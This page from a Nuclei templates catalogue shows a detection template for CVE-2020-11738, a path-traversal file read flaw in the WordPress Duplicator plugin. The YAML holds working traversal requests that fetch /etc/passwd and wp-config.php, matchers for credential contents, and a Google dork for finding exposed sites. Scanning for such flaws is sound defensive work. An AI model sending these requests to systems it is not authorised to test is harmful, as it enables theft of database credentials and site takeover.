Skip to content
Nuclei Templates

WordPress Duplicator 1.3.24 & 1.3.26 - Local File Inclusion

ID: CVE-2020-11738

Severity: high

Author: dwisiswant0

Tags: cve,cve2020,kev,tenable,packetstorm,wordpress,wp-plugin,lfi,snapcreek

Description

Section titled “Description”

WordPress Duplicator 1.3.24 & 1.3.26 are vulnerable to local file inclusion vulnerabilities that could allow attackers to download arbitrary files, such as the wp-config.php file. According to the vendor, the vulnerability was only in twoversions v1.3.24 and v1.3.26, the vulnerability wasn’tpresent in versions 1.3.22 and before.

YAML Source

Section titled “YAML Source”
id: CVE-2020-11738


info:
  name: WordPress Duplicator 1.3.24 & 1.3.26 - Local File Inclusion
  author: dwisiswant0
  severity: high
  description: |
    WordPress Duplicator 1.3.24 & 1.3.26 are vulnerable to local file inclusion vulnerabilities that could allow attackers to download arbitrary files, such as the wp-config.php file. According to the vendor, the vulnerability was only in two
    versions v1.3.24 and v1.3.26, the vulnerability wasn't
    present in versions 1.3.22 and before.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the entire WordPress installation.
  remediation: |
    Update the WordPress Duplicator plugin to the latest version (1.3.27 or higher) to mitigate the vulnerability.
  reference:
    - https://www.tenable.com/blog/duplicator-wordpress-plugin-vulnerability-exploited-in-the-wild
    - https://snapcreek.com/duplicator/docs/changelog/?lite
    - https://www.wordfence.com/blog/2020/02/active-attack-on-recently-patched-duplicator-plugin-vulnerability-affects-over-1-million-sites/
    - http://packetstormsecurity.com/files/160621/WordPress-Duplicator-1.3.26-Directory-Traversal-File-Read.html
    - https://nvd.nist.gov/vuln/detail/CVE-2020-11738
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2020-11738
    cwe-id: CWE-22
    epss-score: 0.97323
    epss-percentile: 0.99872
    cpe: cpe:2.3:a:snapcreek:duplicator:*:*:*:*:lite:wordpress:*:*
  metadata:
    max-request: 2
    vendor: snapcreek
    product: duplicator
    framework: wordpress
    google-query: inurl:"/wp-content/plugins/duplicator"
  tags: cve,cve2020,kev,tenable,packetstorm,wordpress,wp-plugin,lfi,snapcreek


http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-admin/admin-ajax.php?action=duplicator_download&file=..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd"
      - "{{BaseURL}}/wp-admin/admin-ajax.php?action=duplicator_download&file=%2F..%2Fwp-config.php"


    matchers-condition: and
    matchers:
      - type: regex
        part: header
        regex:
          - "File Transfer"
          - "application/octet-stream"
          - "attachment; filename=\"(wp-config\\.php|passwd)\""
        condition: and


      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"
          - "define\\('DB_(NAME|USER|PASSWORD|HOST|CHARSET|COLLATE)'"
        condition: or


      - type: status
        status:
          - 200
# digest: 4a0a00473045022100d5c06a9019a306d7c58585853a23430634bc75b1b98d5d37b709e0147467d2a8022022c75f16308fd71491a64f6779aafd8a86d201b6bc6c1375895ab37ad242c3e7:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2020/CVE-2020-11738.yaml"

View on Github